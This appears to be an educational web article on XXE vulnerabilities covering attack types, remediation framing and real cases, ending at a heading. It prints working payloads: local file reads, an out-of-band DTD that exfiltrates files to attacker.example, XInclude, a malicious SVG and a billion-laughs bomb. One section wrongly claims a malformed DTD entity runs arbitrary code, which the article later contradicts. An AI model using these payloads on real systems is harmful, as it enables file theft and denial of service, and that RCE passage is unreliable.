XML External Entity (XXE): How to Identify and Fix Vulnerabilities

What Is an XXE Vulnerability?

An XXE (XML External Entity) vulnerability is a misconfiguration in an XML parser that lets it load external resources named inside the XML it processes. If the application accepts XML from users, an attacker can make the parser read local files, send requests to internal systems or exhaust server memory.

Think of a form that asks for your name. Instead of a name, you write “go to the filing cabinet and copy the contents of folder 12 here.” If the clerk follows that instruction, you have an XXE vulnerability.

The root cause is a parser feature called an external entity. XML lets a document define shortcuts (entities) in a DOCTYPE declaration. An external entity points to a file path or URL, and the parser fetches that resource when it reads the document. Many XML parsers, especially older ones, resolve external entities by default.

XXE is part of the OWASP Top 10. It falls under A02:2025 Security Misconfiguration, which lists CWE-611 (Improper Restriction of XML External Entity Reference) as a notable weakness (OWASP). XXE had its own category in the 2017 list and was merged into Security Misconfiguration in 2021.

XXE affects any software that parses XML. That includes SOAP and REST APIs that accept XML, SAML single sign-on, RSS feeds and file uploads in XML-based formats such as SVG, DOCX, XLSX and PDF forms.

What Is an XXE Attack?

An XXE attack exploits an XXE vulnerability by sending XML that defines a malicious external entity. When the parser resolves the entity, it fetches a file or URL the attacker chose and often places the result in the application’s response.

How an XXE attack works

1. The attacker finds an endpoint that accepts XML. This can be an API body, a SOAP request or an uploaded file.
2. The attacker adds a DOCTYPE declaration that defines an external entity pointing to a sensitive resource.
3. The attacker references that entity inside a field the application displays or processes.
4. The parser resolves the entity and fetches the resource.
5. The application returns the resource content, or the attacker extracts it through another channel.

An Example of XXE Attack

Suppose an application accepts XML input from untrusted sources and uses an XML parser that supports external entities. The application parses an XML file containing user input and returns the results to the user.

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

In this XXE example, the XML input defines an external entity “xxe” that points to a local file “/etc/passwd” on the server.

When the XML parser encounters the “xxe” entity reference, it retrieves the local file’s contents and includes it in the parsed XML document. The attacker can then use this technique to read sensitive data stored in the file, such as usernames and passwords.

Alternatively, the attacker can use the following payload to execute arbitrary code on the server:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://acme.com/payload.dtd">
]>
<foo>&xxe;</foo>

In this example, the XML input defines an external entity “xxe” that points to a remote document type definition (DTD) file “http://acme.com/payload.dtd” controlled by the attacker. The DTD file includes a parameter entity that defines a command to execute arbitrary code on the server, such as:

<!ENTITY % remote SYSTEM "http://acme.com/malware.bin">
<!ENTITY % cmd "<!ENTITY &#x25;#x25; error SYSTEM 'file:///dev/null'>&#x25;#x25;error">

When the XML parser encounters the “xxe” entity reference, it retrieves the contents of the remote DTD file and includes the code in the parsed XML document.

The parser then expands the parameter entity defined in the DTD file, which results in the execution of the arbitrary code defined in the “cmd” entity. The attacker can use this technique to take control of the server and perform malicious activities, such as stealing sensitive data or launching further attacks.

Can XXE lead to remote code execution?

Sometimes, but less often than many guides claim. XXE is mainly a file read, SSRF and denial-of-service vulnerability. Remote code execution (RCE) requires extra conditions:

• PHP with the expect extension: An entity such as SYSTEM "expect://id" runs a system command. The extension is rarely installed in production.
• Chaining with another vulnerability: XXE can leak credentials or reach an internal service that has a command injection vulnerability. Researchers chained SysAid’s XXE vulnerabilities with a separate command injection bug to achieve unauthenticated RCE.
• Stolen secrets: Files read through XXE, such as SSH keys or cloud credentials, can give the attacker direct access to the server.

Treat any XXE vulnerabilities as critical. The path from file read to full compromise is often short.

Most Common Types of XXE Attacks

XXE attacks differ in how the attacker gets data out and where the malicious XML enters the application.

1. In-band (classic) XXE

The attacker defines an external entity and reads the result directly in the application’s response. It is the easiest type to find and exploit.

2. XXE to SSRF

The external entity points to an internal URL. The server sends the request on the attacker’s behalf. This exposes services that are not reachable from the internet, such as cloud metadata endpoints, databases with HTTP interfaces and internal admin tools.

3. Blind XXE

In blind XXE, the application parses the entity but never shows the result. Attackers use two techniques to extract data anyway.

Out-of-band (OOB) XXE makes the server send the data to an attacker-controlled server over HTTP or DNS. The attacker hosts a malicious DTD:

<!-- evil.dtd on attacker.example -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/?d=%file;'>">
%eval;
%exfil;

Then sends a payload that loads it using a parameter entity:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe;]>
<foo>test</foo>

The server fetches the DTD, reads the file and sends its contents to the attacker in a URL.

Error-based XXE forces the parser to throw an error that contains the file contents. For example, the malicious DTD points to a nonexistent file path that includes the stolen data. The application’s error message then leaks it.

4. XInclude attacks

Sometimes the attacker controls only one value inside an XML document the server builds. They cannot add a DOCTYPE. XInclude, an XML feature for merging documents, can still read files:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

5. XXE via file upload

Many common file formats are XML underneath. SVG images are XML. DOCX, XLSX and PPTX files are ZIP archives of XML files. PDF forms can contain XFA data, which is XML. If the server parses an uploaded file with an unsafe parser, a malicious file triggers XXE. An SVG example:

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="10" y="20">&xxe;</text></svg>

If the server renders the image, the hostname appears in it. The Apache Tika vulnerability below used this path through PDF files.

6. XXE in SOAP and SAML

SOAP web services exchange XML by design, so every SOAP endpoint is a potential XXE entry point. SAML single sign-on also passes XML assertions between systems. An XXE in a SAML parser can expose files on the identity provider or service provider.

7. Billion laughs (entity expansion)

This attack needs no external resource. It defines entities that reference each other in layers, so a tiny document expands into gigabytes in memory:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!-- continues through lol9 -->
]>
<lolz>&lol9;</lolz>

Each level multiplies the size by ten. At nine levels, the parser tries to build about a billion copies of “lol” and runs out of memory. The result is a denial of service.

XXE Payloads: A Quick Reference

These are the most common XXE payload patterns. Testers use them as a starting point. Defenders should confirm their parser configuration blocks every one.

A secure parser rejects or ignores all of these. If any one returns data, an error with file content or an outbound request in your logs, the parser is vulnerable.

High Profile XXE Hacks

XXE vulnerabilities keep appearing in widely used software. These cases show how they spread through libraries and how fast attackers exploit them.

Apache Tika (CVE-2025-66516, 2025)